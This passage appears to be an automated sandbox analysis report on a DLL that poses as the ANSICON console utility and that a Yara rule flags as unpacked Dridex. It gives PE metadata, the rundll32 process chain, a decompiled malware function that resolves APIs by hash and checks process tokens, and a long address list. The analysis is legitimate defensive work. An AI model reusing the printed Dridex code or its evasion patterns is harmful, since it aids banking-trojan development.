IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x22fae	0x23000	False	0.761558314732	data	7.55754035599	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x24000	0x283e	0x2a00	False	0.778180803571	data	7.45228827843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x27000	0x3862	0x1600	False	0.867897727273	MMDF mailbox	7.59898369456	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2b000	0x340	0x400	False	0.3896484375	data	2.73261677544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c000	0x144	0x200	False	0.619140625	data	4.19021581125	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x2b060	0x2e0	data	English	United States

Imports

DLL	Import
KERNEL32.dll	OutputDebugStringA, LoadLibraryExA, CloseHandle, GetModuleHandleW, GetProfileSectionW, OpenSemaphoreW
ole32.dll	CreateStreamOnHGlobal
ADVAPI32.dll	RegLoadAppKeyW
USER32.dll	TranslateMessage
OPENGL32.dll	glVertex3f

Version Infos

Description	Data
LegalCopyright	Freeware
InternalName	ANSI32
FileVersion	1.66
CompanyName	Jason Hood
Comments	http://ansicon.adoxa.vze.com/
ProductName	ANSICON
ProductVersion	1.66
FileDescription	ANSI Console
OriginalFilename	ANSI32.dll
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 912 Parent PID: 5616

General

Start time:	23:32:50
Start date:	19/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll'
Imagebase:	0xcb0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 2396 Parent PID: 912

General

Start time:	23:32:51
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5596 Parent PID: 2396

General

Start time:	23:32:51
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1
Imagebase:	0x7ff7488e0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 5596 Parent PID: 2396 rundll32.exeCOMMON

Executed Functions

Function 70AA07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E70AA07CC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _t152;
				void* _t155;
				signed char* _t156;
				char _t159;
				intOrPtr* _t163;
				void* _t177;
				intOrPtr _t186;
				char _t187;
				void* _t192;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t208;
				void* _t209;
				void* _t211;
				void* _t212;
				void* _t219;
				void* _t232;
				void* _t234;
				void* _t237;
				void* _t240;
				void* _t243;
				void* _t246;
				void* _t250;
				void* _t254;
				void* _t255;
				void* _t257;
				long _t258;
				void* _t261;
				void* _t264;
				int _t267;
				void* _t268;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t278;
				int _t280;
				intOrPtr* _t284;
				signed char _t288;
				signed char _t289;
				signed int _t293;
				void* _t314;
				void* _t319;
				void* _t355;
				void* _t364;
				void* _t369;
				void* _t374;
				void* _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t385;
				void* _t392;
				signed int _t397;
				intOrPtr* _t400;
				void* _t403;
				signed int _t405;
				void* _t407;
				void* _t408;
				void* _t413;
				intOrPtr* _t417;
				void* _t419;
				void** _t421;
				void* _t422;
				void* _t423;
				void* _t424;

				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t423 = _t422 - 0x1e0;
				_t407 = __ecx;
				_t152 =  *0x70aad1f8;
				if(_t152 == 0x16a9e13a) {
					_t152 = E70AA3558(0x30);
					 *0x70aad1f8 = _t152;
				}
				if( *((char*)(_t152 + 0xb)) == 0 || _t407 != 0) {
					_t408 = _t423 + 0x48;
					E70AA35D4(_t408, 0, 0x11c);
					_t424 = _t423 + 0xc;
					 *((intOrPtr*)(_t424 + 0x48)) = 0x11c;
					_t155 = E70AA2F94(0x4bcc7cba, 0xa7920a3, 0x4bcc7cba, 0x4bcc7cba);
					if(_t155 == 0) {
						_t395 =  *0x70aad1f8;
						_t156 = _t424 + 0x4c;
						_t288 =  *_t156;
						 *(_t395 + 8) = _t288;
						_t289 = _t156[4];
						 *(_t395 + 9) = _t289;
						__eflags = _t156[0x116] - 1;
						_t389 =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xa)) = _t156[0x110];
						 *(_t395 + 4) =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xc)) = 0 | _t156[0x116] != 0x00000001;
						 *_t395 = (_t289 & 0x000000ff) + ((_t288 & 0x000000ff) << 4) - 0x50;
						_t159 = E70AA1094(_t395);
						 *(_t424 + 0x198) = 0;
						 *((char*)( *0x70aad1f8 + 0xb)) = _t159;
						_t355 = E70AA2F94(0xd0443458, 0xd8ece5ad, _t159, _t159);
						__eflags = _t355;
						if(_t355 == 0) {
							L12:
							__eflags = 0;
							 *((char*)( *0x70aad1f8 + 0x28)) = 0;
							_t163 = E70AA07CC(0x70aad1f8, 0, _t389, _t395);
							__eflags =  *_t163 - 0x10;
							if( *_t163 >= 0x10) {
								_t293 = 6;
								memcpy(_t424 + 0x164, 0x70aabc80, _t293 << 2);
								_t424 = _t424 + 0xc;
								_t392 = 0x70aabc80 + _t293 + _t293;
								 *((intOrPtr*)(_t424 + 0x1c)) = 0;
								E70A9F620(_t424 + 0x24, 0);
								_t397 = 0;
								__eflags = 0;
								do {
									E70A9F8C4(_t424 + 0x24, E70A9F568(_t424 + 0x20) + 4);
									 *((intOrPtr*)(E70A9F558(_t424 + 0x24, E70A9F568(_t424 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t424 + 0x164 + _t397 * 4));
									_t397 = _t397 + 1;
									 *((intOrPtr*)(_t424 + 0x1c)) =  *((intOrPtr*)(_t424 + 0x1c)) + 1;
									__eflags = _t397 - 6;
								} while (_t397 < 6);
								_push(0);
								E70AA54EC(_t424 + 0xc, _t424 + 0x1c, 0x80000002);
								E70A9F6F0(_t424 + 0x20);
								E70AA551C(_t424 + 8, _t424 + 0x1c0, 0x5411b30);
								_t177 = E70AA57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c0)));
								_t398 = _t177;
								E70A9E054(_t424 + 0x1c0);
								__eflags = _t177;
								if(_t177 != 0) {
									E70AA551C(_t424 + 8, _t424 + 0x1c8, 0xdb1d9b48);
									_t413 = E70AA57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c8)));
									E70A9E054(_t424 + 0x1c8);
									_t398 = _t424 + 0x1d0;
									E70AA551C(_t424 + 8, _t424 + 0x1d0, 0xf3453dd0);
									_t392 = E70AA57D0(_t424 + 4, __eflags,  *(_t424 + 0x1d0));
									E70A9E054(_t424 + 0x1d0);
									__eflags = _t413;
									if(_t413 != 0) {
										__eflags = _t413 - 5;
										if(_t413 != 5) {
											__eflags = _t413 - 2;
											if(_t413 != 2) {
												goto L58;
											} else {
												__eflags = _t392 - 1;
												if(_t392 != 1) {
													goto L58;
												} else {
													E70A9D098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t375 =  *(_t424 + 4);
														__eflags = _t375;
														if(_t375 == 0) {
															L53:
															_t237 = 1;
														} else {
															__eflags = _t375 - 0xffffffff;
															if(_t375 != 0xffffffff) {
																_t237 = 0;
																__eflags = 0;
															} else {
																goto L53;
															}
														}
														__eflags = _t237;
														if(_t237 == 0) {
															E70AA54C4(_t375);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 5;
												}
											}
										} else {
											__eflags = _t392;
											if(_t392 != 0) {
												__eflags = _t392 - 1;
												if(_t392 == 1) {
													E70A9D098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t376 =  *(_t424 + 4);
														__eflags = _t376;
														if(_t376 == 0) {
															L108:
															_t240 = 1;
														} else {
															__eflags = _t376 - 0xffffffff;
															if(_t376 != 0xffffffff) {
																_t240 = 0;
																__eflags = 0;
															} else {
																goto L108;
															}
														}
														__eflags = _t240;
														if(_t240 == 0) {
															E70AA54C4(_t376);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 4;
												} else {
													goto L58;
												}
											} else {
												E70A9D098(_t424 + 0xc);
												__eflags =  *((char*)(_t424 + 8));
												if( *((char*)(_t424 + 8)) != 0) {
													_t377 =  *(_t424 + 4);
													__eflags = _t377;
													if(_t377 == 0) {
														L41:
														_t243 = 1;
													} else {
														__eflags = _t377 - 0xffffffff;
														if(_t377 != 0xffffffff) {
															_t243 = 0;
															__eflags = 0;
														} else {
															goto L41;
														}
													}
													__eflags = _t243;
													if(_t243 == 0) {
														E70AA54C4(_t377);
													}
												}
												 *(_t424 + 4) = 0;
												_t186 = 3;
											}
										}
									} else {
										__eflags = _t392;
										if(_t392 != 0) {
											L58:
											E70A9D098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t374 =  *(_t424 + 4);
												__eflags = _t374;
												if(_t374 == 0) {
													L61:
													_t234 = 1;
												} else {
													__eflags = _t374 - 0xffffffff;
													if(_t374 != 0xffffffff) {
														_t234 = 0;
														__eflags = 0;
													} else {
														goto L61;
													}
												}
												__eflags = _t234;
												if(_t234 == 0) {
													E70AA54C4(_t374);
												}
											}
											_t186 = 0;
											__eflags = 0;
											 *(_t424 + 4) = 0;
										} else {
											E70A9D098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t378 =  *(_t424 + 4);
												__eflags = _t378;
												if(_t378 == 0) {
													L31:
													_t246 = 1;
												} else {
													__eflags = _t378 - 0xffffffff;
													if(_t378 != 0xffffffff) {
														_t246 = 0;
														__eflags = 0;
													} else {
														goto L31;
													}
												}
												__eflags = _t246;
												if(_t246 == 0) {
													E70AA54C4(_t378);
												}
											}
											 *(_t424 + 4) = 0;
											_t186 = 2;
										}
									}
								} else {
									E70A9D098(_t424 + 0xc);
									__eflags =  *((char*)(_t424 + 8));
									if( *((char*)(_t424 + 8)) != 0) {
										_t379 =  *(_t424 + 4);
										__eflags = _t379;
										if(_t379 == 0) {
											L21:
											_t250 = 1;
										} else {
											__eflags = _t379 - 0xffffffff;
											if(_t379 != 0xffffffff) {
												_t250 = 0;
												__eflags = 0;
											} else {
												goto L21;
											}
										}
										__eflags = _t250;
										if(_t250 == 0) {
											E70AA54C4(_t379);
										}
									}
									 *(_t424 + 4) = 0;
									_t186 = 1;
								}
							} else {
								_t186 = 1;
							}
							 *((intOrPtr*)( *0x70aad1f8 + 0x24)) = _t186;
							_t187 = E70AA10CC(0xffffffffffffffff);
							_t314 =  *0x70aad1f8;
							 *((char*)(_t314 + 0x29)) = _t187;
							__eflags =  *_t314 - 0x10;
							 *((intOrPtr*)(_t314 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
							if( *_t314 >= 0x10) {
								__eflags = 0xffffffffffffffff;
								 *((intOrPtr*)( *0x70aad1f8 + 0x2c)) = E70AA1140(0xffffffffffffffff, _t392, _t398);
								goto L78;
							} else {
								 *(_t424 + 0x19c) = 0;
								_t364 = E70AA2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
								__eflags = _t364;
								if(_t364 == 0) {
									L74:
									_t196 =  *0x70aad1f8;
									__eflags =  *((char*)(_t196 + 0x28));
									if( *((char*)(_t196 + 0x28)) == 0) {
										 *((intOrPtr*)(_t196 + 0x2c)) = 3;
									} else {
										 *((intOrPtr*)(_t196 + 0x2c)) = 5;
									}
									goto L78;
								} else {
									_t198 =  *_t364(0xffffffff, 8, _t424 + 0x19c);
									__eflags = _t198;
									if(_t198 == 0) {
										_t199 = E70AA352C(_t398);
										__eflags = _t199;
										if(_t199 != 0) {
											goto L74;
										} else {
											goto L69;
										}
									} else {
										L69:
										 *(_t424 + 0x30) =  *(_t424 + 0x19c);
										 *((char*)(_t424 + 0x34)) = 1;
										 *(_t424 + 0x1a4) = 0;
										_t319 = E70AA2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
										__eflags = _t319;
										if(_t319 != 0) {
											_t232 =  *_t319( *(_t424 + 0x1ac), 1, 0, 0, _t424 + 0x1a4);
											__eflags = _t232;
											if(_t232 == 0) {
												E70AA352C(_t398);
											}
										}
										_t202 =  *(_t424 + 0x1a4);
										__eflags = _t202;
										if(_t202 != 0) {
											E70A9F620(_t424 + 0x18c, _t202);
											_t403 = E70AA2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
											__eflags = _t403;
											if(_t403 == 0) {
												L124:
												E70A9F6F0(_t424 + 0x188);
												goto L72;
											} else {
												_t208 = E70A9F558(_t424 + 0x18c, 0);
												_t209 = E70A9F568(_t424 + 0x188);
												_t211 =  *_t403( *(_t424 + 0x1ac), 1, _t208, _t209, _t424 + 0x1a4);
												__eflags = _t211;
												if(_t211 == 0) {
													_t212 = E70AA352C(_t403);
													__eflags = _t212;
													if(_t212 != 0) {
														goto L124;
													} else {
														goto L116;
													}
												} else {
													L116:
													_t417 = E70A9F558(_t424 + 0x18c, 0);
													E70A9DFFC(_t424 + 0x1b4, 0);
													 *(_t424 + 0x1ac) = 0;
													_t369 = E70AA2F94(0xd0443458, 0x39521505, 0xd0443458, 0xd0443458);
													__eflags = _t369;
													if(_t369 != 0) {
														 *_t369( *_t417, _t424 + 0x1ac);
													}
													E70A9E070(_t424 + 0x1b4,  *(_t424 + 0x1ac));
													_t219 = E70AA2F94(0x4bcc7cba, 0x1f221433, 0x4bcc7cba, 0x4bcc7cba);
													__eflags = _t219;
													if(_t219 == 0) {
														E70A9E11C(_t424 + 0x1b8 - 8, _t424 + 0x1b8);
														_t419 = E70AA4BE0( *((intOrPtr*)(_t424 + 0x1b8)), E70A9E94C( *((intOrPtr*)(_t424 + 0x1b8)), 0x7fffffff));
														E70A9E054(_t424 + 0x1b8);
														E70A9E054(_t424 + 0x1b0);
														E70A9F6F0(_t424 + 0x188);
														__eflags =  *((char*)(_t424 + 0x34));
														if( *((char*)(_t424 + 0x34)) != 0) {
															E70A9BC00(_t424 + 0x30);
														}
														__eflags = _t419 - 0x6df4cf7;
														if(_t419 != 0x6df4cf7) {
															goto L74;
														} else {
															 *((intOrPtr*)( *0x70aad1f8 + 0x2c)) = 6;
															L78:
															_t192 = E70AA2F94(0x4bcc7cba, 0x57154e4e, 0x4bcc7cba, 0x4bcc7cba);
															__eflags = _t192;
															if(_t192 != 0) {
																GetSystemInfo(_t424 + 0x164); // executed
															}
															_t152 =  *0x70aad1f8;
															_t284 = _t424 + 0x178;
															_t400 = _t424 + 0x170;
															 *((short*)(_t152 + 0xe)) =  *_t284;
															 *((intOrPtr*)(_t152 + 0x10)) =  *((intOrPtr*)(_t284 - 0x10));
															 *((intOrPtr*)(_t152 + 0x14)) =  *((intOrPtr*)(_t284 - 0xc));
															 *((intOrPtr*)(_t152 + 0x18)) =  *_t400;
															 *((intOrPtr*)(_t152 + 0x1c)) =  *((intOrPtr*)(_t400 + 0x10));
															goto L81;
														}
													} else {
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t219;
													}
												}
											}
										} else {
											L72:
											__eflags =  *((char*)(_t424 + 0x34));
											if( *((char*)(_t424 + 0x34)) != 0) {
												E70A9BC00(_t424 + 0x30);
											}
											goto L74;
										}
									}
								}
							}
						} else {
							_t254 =  *_t355(0xffffffff, 8, _t424 + 0x198);
							__eflags = _t254;
							if(_t254 == 0) {
								_t255 = E70AA352C(_t395);
								__eflags = _t255;
								if(_t255 != 0) {
									goto L12;
								} else {
									goto L7;
								}
							} else {
								L7:
								 *(_t424 + 0x14) =  *(_t424 + 0x198);
								 *((char*)(_t424 + 0x18)) = 1;
								 *(_t424 + 0x1a0) = 0;
								_t257 = E70AA2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
								__eflags = _t257;
								if(_t257 != 0) {
									_t280 = GetTokenInformation( *(_t424 + 0x1a8), 2, 0, 0, _t424 + 0x1a0); // executed
									__eflags = _t280;
									if(_t280 == 0) {
										E70AA352C(_t395);
									}
								}
								_t258 =  *(_t424 + 0x1a0);
								__eflags = _t258;
								if(_t258 != 0) {
									E70A9F620(_t424 + 0x3c, _t258);
									_t261 = E70AA2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
									_t395 = _t261;
									__eflags = _t261;
									if(_t261 == 0) {
										L98:
										E70A9F6F0(_t424 + 0x38);
										goto L10;
									} else {
										_t264 = E70A9F558(_t424 + 0x3c, 0);
										_t267 = GetTokenInformation( *(_t424 + 0x1a8), 2, _t264, E70A9F568(_t424 + 0x38), _t424 + 0x1a0); // executed
										__eflags = _t267;
										if(_t267 == 0) {
											_t268 = E70AA352C(_t395);
											__eflags = _t268;
											if(_t268 != 0) {
												goto L98;
											} else {
												goto L85;
											}
										} else {
											L85:
											_t421 = E70A9F558(_t424 + 0x3c, 0);
											_t389 = _t424 + 0x1d8;
											 *(_t424 + 0x1d8 - 0x30) = 0;
											asm("movsd");
											asm("movsb");
											asm("movsb");
											_t395 = E70AA2F94(0xd0443458, 0xe6199b6e, 0xd0443458, 0xd0443458);
											__eflags = _t395;
											if(_t395 == 0) {
												goto L98;
											} else {
												_t272 = _t424 + 0x1a8;
												_t273 =  *_t395(_t272 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t272);
												__eflags = _t273;
												if(_t273 == 0) {
													_t274 = E70AA352C(_t395);
													__eflags = _t274;
													if(_t274 != 0) {
														goto L98;
													} else {
														goto L87;
													}
												} else {
													L87:
													_t389 =  *(_t424 + 0x1a8);
													__eflags =  *_t421;
													if( *_t421 <= 0) {
														L92:
														__eflags = _t389;
														if(_t389 == 0) {
															L94:
															_t385 = 1;
														} else {
															__eflags = _t389 - 0xffffffff;
															if(_t389 != 0xffffffff) {
																_t385 = 0;
																__eflags = 0;
															} else {
																goto L94;
															}
														}
														__eflags = _t385;
														if(_t385 == 0) {
															E70AA1070(_t389, _t395, _t389);
														}
														goto L98;
													} else {
														_t405 = 0;
														__eflags = 0;
														while(1) {
															_t278 = E70AA2F94(0xd0443458, 0x713d44b5, 0xd0443458, 0xd0443458);
															__eflags = _t278;
															if(_t278 != 0) {
																break;
															}
															_t405 = _t405 + 1;
															__eflags = _t405 -  *_t421;
															if(_t405 <  *_t421) {
																continue;
															} else {
																goto L92;
															}
															goto L130;
														}
														_push( *((intOrPtr*)(_t421 + 4 + _t405 * 8)));
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t278;
													}
												}
											}
										}
									}
								} else {
									L10:
									__eflags =  *((char*)(_t424 + 0x18));
									if( *((char*)(_t424 + 0x18)) != 0) {
										E70A9BC00(_t424 + 0x14);
									}
									goto L12;
								}
							}
						}
					} else {
						_push(_t408);
						asm("int3");
						return _t155;
					}
				} else {
					L81:
					return _t152;
				}
				L130:
			}

0x70aa07cc
0x70aa07cd
0x70aa07ce
0x70aa07d0
0x70aa07db
0x70aa07dd
0x70aa07e4
0x70aa1063
0x70aa1069
0x70aa1069
0x70aa07ee
0x70aa07fa
0x70aa0806
0x70aa080b
0x70aa0818
0x70aa0822
0x70aa0829
0x70aa082e
0x70aa0832
0x70aa0836
0x70aa083b
0x70aa083e
0x70aa0844
0x70aa084a
0x70aa0857
0x70aa085e
0x70aa0865
0x70aa0868
0x70aa086b
0x70aa086d
0x70aa0879
0x70aa0886
0x70aa0893
0x70aa0895
0x70aa0897
0x70aa0923
0x70aa0923
0x70aa0929
0x70aa092c
0x70aa0931
0x70aa0934
0x70aa094c
0x70aa094d
0x70aa094d
0x70aa094d
0x70aa0951
0x70aa095a
0x70aa095f
0x70aa095f
0x70aa0961
0x70aa0972
0x70aa0994
0x70aa0996
0x70aa0997
0x70aa099b
0x70aa099b
0x70aa09a4
0x70aa09b0
0x70aa09b9
0x70aa09cf
0x70aa09df
0x70aa09e4
0x70aa09e8
0x70aa09ed
0x70aa09ef
0x70aa0a3f
0x70aa0a54
0x70aa0a58
0x70aa0a5d
0x70aa0a6e
0x70aa0a83
0x70aa0a87
0x70aa0a8c
0x70aa0a8e
0x70aa0ad5
0x70aa0ad8
0x70aa0b26
0x70aa0b29
0x00000000
0x70aa0b2b
0x70aa0b2b
0x70aa0b2e
0x00000000
0x70aa0b30
0x70aa0b34
0x70aa0b39
0x70aa0b3e
0x70aa0b40
0x70aa0b44
0x70aa0b46
0x70aa0b4d
0x70aa0b4d
0x70aa0b48
0x70aa0b48
0x70aa0b4b
0x70aa0b51
0x70aa0b51
0x00000000
0x00000000
0x00000000
0x70aa0b4b
0x70aa0b53
0x70aa0b55
0x70aa0b58
0x70aa0b58
0x70aa0b55
0x70aa0b5d
0x70aa0b67
0x70aa0b67
0x70aa0b2e
0x70aa0ada
0x70aa0ada
0x70aa0adc
0x70aa0b1b
0x70aa0b1e
0x70aa0e90
0x70aa0e95
0x70aa0e9a
0x70aa0e9c
0x70aa0ea0
0x70aa0ea2
0x70aa0ea9
0x70aa0ea9
0x70aa0ea4
0x70aa0ea4
0x70aa0ea7
0x70aa0ead
0x70aa0ead
0x00000000
0x00000000
0x00000000
0x70aa0ea7
0x70aa0eaf
0x70aa0eb1
0x70aa0eb4
0x70aa0eb4
0x70aa0eb1
0x70aa0eb9
0x70aa0ec3
0x70aa0b24
0x00000000
0x70aa0b24
0x70aa0ade
0x70aa0ae2
0x70aa0ae7
0x70aa0aec
0x70aa0aee
0x70aa0af2
0x70aa0af4
0x70aa0afb
0x70aa0afb
0x70aa0af6
0x70aa0af6
0x70aa0af9
0x70aa0aff
0x70aa0aff
0x00000000
0x00000000
0x00000000
0x70aa0af9
0x70aa0b01
0x70aa0b03
0x70aa0b06
0x70aa0b06
0x70aa0b03
0x70aa0b0b
0x70aa0b15
0x70aa0b15
0x70aa0adc
0x70aa0a90
0x70aa0a90
0x70aa0a92
0x70aa0b6a
0x70aa0b6e
0x70aa0b73
0x70aa0b78
0x70aa0b7a
0x70aa0b7e
0x70aa0b80
0x70aa0b87
0x70aa0b87
0x70aa0b82
0x70aa0b82
0x70aa0b85
0x70aa0b8b
0x70aa0b8b
0x00000000
0x00000000
0x00000000
0x70aa0b85
0x70aa0b8d
0x70aa0b8f
0x70aa0b92
0x70aa0b92
0x70aa0b8f
0x70aa0b97
0x70aa0b97
0x70aa0b99
0x70aa0a98
0x70aa0a9c
0x70aa0aa1
0x70aa0aa6
0x70aa0aa8
0x70aa0aac
0x70aa0aae
0x70aa0ab5
0x70aa0ab5
0x70aa0ab0
0x70aa0ab0
0x70aa0ab3
0x70aa0ab9
0x70aa0ab9
0x00000000
0x00000000
0x00000000
0x70aa0ab3
0x70aa0abb
0x70aa0abd
0x70aa0ac0
0x70aa0ac0
0x70aa0abd
0x70aa0ac5
0x70aa0acf
0x70aa0acf
0x70aa0a92
0x70aa09f1
0x70aa09f5
0x70aa09fa
0x70aa09ff
0x70aa0a01
0x70aa0a05
0x70aa0a07
0x70aa0a0e
0x70aa0a0e
0x70aa0a09
0x70aa0a09
0x70aa0a0c
0x70aa0a12
0x70aa0a12
0x00000000
0x00000000
0x00000000
0x70aa0a0c
0x70aa0a14
0x70aa0a16
0x70aa0a19
0x70aa0a19
0x70aa0a16
0x70aa0a1e
0x70aa0a28
0x70aa0a28
0x70aa0936
0x70aa0938
0x70aa0938
0x70aa0ba2
0x70aa0ba5
0x70aa0baa
0x70aa0bac
0x70aa0bb5
0x70aa0bc1
0x70aa0bc4
0x70aa0c92
0x70aa0c9a
0x00000000
0x70aa0bca
0x70aa0bd4
0x70aa0be6
0x70aa0be8
0x70aa0bea
0x70aa0c76
0x70aa0c76
0x70aa0c78
0x70aa0c7c
0x70aa0c87
0x70aa0c7e
0x70aa0c7e
0x70aa0c7e
0x00000000
0x70aa0bf0
0x70aa0bfc
0x70aa0bfe
0x70aa0c00
0x70aa104f
0x70aa1054
0x70aa1056
0x00000000
0x70aa105c
0x00000000
0x70aa105c
0x70aa0c06
0x70aa0c06
0x70aa0c17
0x70aa0c1b
0x70aa0c20
0x70aa0c32
0x70aa0c34
0x70aa0c36
0x70aa0c4d
0x70aa0c4f
0x70aa0c51
0x70aa0ec9
0x70aa0ec9
0x70aa0c51
0x70aa0c57
0x70aa0c5e
0x70aa0c60
0x70aa0edb
0x70aa0ef1
0x70aa0ef3
0x70aa0ef5
0x70aa1030
0x70aa1037
0x00000000
0x70aa0efb
0x70aa0f04
0x70aa0f12
0x70aa0f2c
0x70aa0f2e
0x70aa0f30
0x70aa1041
0x70aa1046
0x70aa1048
0x00000000
0x70aa104a
0x00000000
0x70aa104a
0x70aa0f36
0x70aa0f36
0x70aa0f44
0x70aa0f4f
0x70aa0f5e
0x70aa0f70
0x70aa0f72
0x70aa0f74
0x70aa0f81
0x70aa0f81
0x70aa0f91
0x70aa0fa2
0x70aa0fa7
0x70aa0fa9
0x70aa0fbf
0x70aa0fe0
0x70aa0fe9
0x70aa0ff5
0x70aa1001
0x70aa1006
0x70aa100b
0x70aa1011
0x70aa1011
0x70aa1016
0x70aa101c
0x00000000
0x70aa1022
0x70aa1024
0x70aa0c9d
0x70aa0ca9
0x70aa0cb0
0x70aa0cb2
0x70aa0cbc
0x70aa0cbc
0x70aa0cbe
0x70aa0cc0
0x70aa0ccf
0x70aa0cdb
0x70aa0cdf
0x70aa0ce2
0x70aa0ce5
0x70aa0ce8
0x00000000
0x70aa0ce8
0x70aa0fab
0x70aa0fab
0x70aa0fb2
0x70aa0fb3
0x70aa0fb3
0x70aa0fa9
0x70aa0f30
0x70aa0c66
0x70aa0c66
0x70aa0c66
0x70aa0c6b
0x70aa0c71
0x70aa0c71
0x00000000
0x70aa0c6b
0x70aa0c60
0x70aa0c00
0x70aa0bea
0x70aa089d
0x70aa08a9
0x70aa08ab
0x70aa08ad
0x70aa0e7a
0x70aa0e7f
0x70aa0e81
0x00000000
0x70aa0e87
0x00000000
0x70aa0e87
0x70aa08b3
0x70aa08b3
0x70aa08c4
0x70aa08c8
0x70aa08cd
0x70aa08da
0x70aa08e1
0x70aa08e3
0x70aa08fa
0x70aa08fc
0x70aa08fe
0x70aa0cf6
0x70aa0cf6
0x70aa08fe
0x70aa0904
0x70aa090b
0x70aa090d
0x70aa0d05
0x70aa0d16
0x70aa0d1b
0x70aa0d1d
0x70aa0d1f
0x70aa0e50
0x70aa0e54
0x00000000
0x70aa0d25
0x70aa0d2b
0x70aa0d50
0x70aa0d52
0x70aa0d54
0x70aa0e6c
0x70aa0e71
0x70aa0e73
0x00000000
0x70aa0e75
0x00000000
0x70aa0e75
0x70aa0d5a
0x70aa0d5a
0x70aa0d65
0x70aa0d6c
0x70aa0d73
0x70aa0d7a
0x70aa0d7b
0x70aa0d7c
0x70aa0d8e
0x70aa0d90
0x70aa0d92
0x00000000
0x70aa0d98
0x70aa0d9a
0x70aa0db5
0x70aa0db7
0x70aa0db9
0x70aa0e5e
0x70aa0e63
0x70aa0e65
0x00000000
0x70aa0e67
0x00000000
0x70aa0e67
0x70aa0dbf
0x70aa0dbf
0x70aa0dbf
0x70aa0dc6
0x70aa0dca
0x70aa0e35
0x70aa0e35
0x70aa0e37
0x70aa0e3e
0x70aa0e3e
0x70aa0e39
0x70aa0e39
0x70aa0e3c
0x70aa0e42
0x70aa0e42
0x00000000
0x00000000
0x00000000
0x70aa0e3c
0x70aa0e44
0x70aa0e46
0x70aa0e4b
0x70aa0e4b
0x00000000
